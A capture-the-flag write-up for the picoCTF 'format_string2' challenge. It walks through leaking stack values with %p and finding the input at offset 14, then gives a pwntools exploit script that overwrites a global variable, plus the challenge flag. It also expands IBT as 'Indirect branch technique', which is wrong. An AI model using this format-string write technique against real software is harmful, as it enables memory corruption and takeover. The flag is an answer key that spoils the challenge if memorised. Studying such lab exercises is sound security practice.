It’s a 64 bit dynamically linked ELF.
file
file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped
The primary security feature that’s enabled is NX
.
I wonder what SHSTK
and IBT
are.
I linked an explanation on SHSTK
and IBT
for those who are interested, honestly this stuff seems out of my level.
At least it’s good to know the acronyms of what SHSTK
and IBT
are lol!
checksec
checksec vuln
[*] '/home/picoctf/pwn/format_string2/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Let’s check the C code.
C Code
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
A format string vulnerability exists in the main function.
char buf[1024];
printf(buf);
I sent a bunch of %p
s like I did when solving echo_valley
.
./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Here's your input: 0x7fff7aca0f10
sus = 0x21737573
You can do better!
Unfortunately, the binary only leaked one address.
This is because it used the scanf function to read input, which stops at the first whitespace character(space,tab,newline…)
If we send %p %p %p...
it will only read until the first %p
.
On the other hand the C code for echo valley
used the fgets function to read input.
fgets
reads the entire line including spaces, until a newline or the buffer is full.
That’s why we need to change our format-string input.
We need to make sure it doesn’t contain any whitespaces.
To ensure that I used %p.
this time.
./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Here's your input: 0x7fff89630670.(nil).(nil).0xa.0x400.0x7f6f063ac860.0x7f6f063e4ab0.(nil).(nil).(nil).0x7f6f063e52e0.0x1a0c23d.0x7f6f063acd78.0x70252e70252e7025.
sus = 0x21737573
You can see that the 14th argument is representing the format string I passed as ASCII.
0x70252e70252e7025
is shown in reverse because x86-64 stores data in little-endian.
from pwn import *
p64(0x70252e70252e7025) # b'%p.%p.%p'
Why is it important to find which format specifier interprets my input as ASCII?
Because the 14th pointer on the stack points to my input, I can place a target address at the beginning of that input. The %14$n
specifier will then write to that target address.
From here, the rest is simple. Utilize the 14th pointer on the stack to change sus
which was 0x21737573
to 0x67616c66
and read the flag.
Here’s the final exploit code.
Exploit Code
from pwn import *
context.arch = "amd64"
r = remote("rhea.picoctf.net", 61331)
e = ELF("./vuln")
payload = fmtstr_payload(14, {e.sym.sus: 0x67616c66})
r.sendline(payload)
r.interactive()
# picoCTF{f0rm47_57r?_f0rm47_m3m_741fa290}
Reference Writeup
Even though I solved the problem with the help of a writeup, I wonder how you can solve it without using the fmtstr_payload
.
Although,fmtstr_payload
is a very good tool it’s good practice to solve format string problems manually to prepare for scenarios where it can’t be used.
For extra knowledge
1. IBT (Indirect branch technique)
https://lwn.net/Articles/889475/
2. SHSTK (Shadow Stack)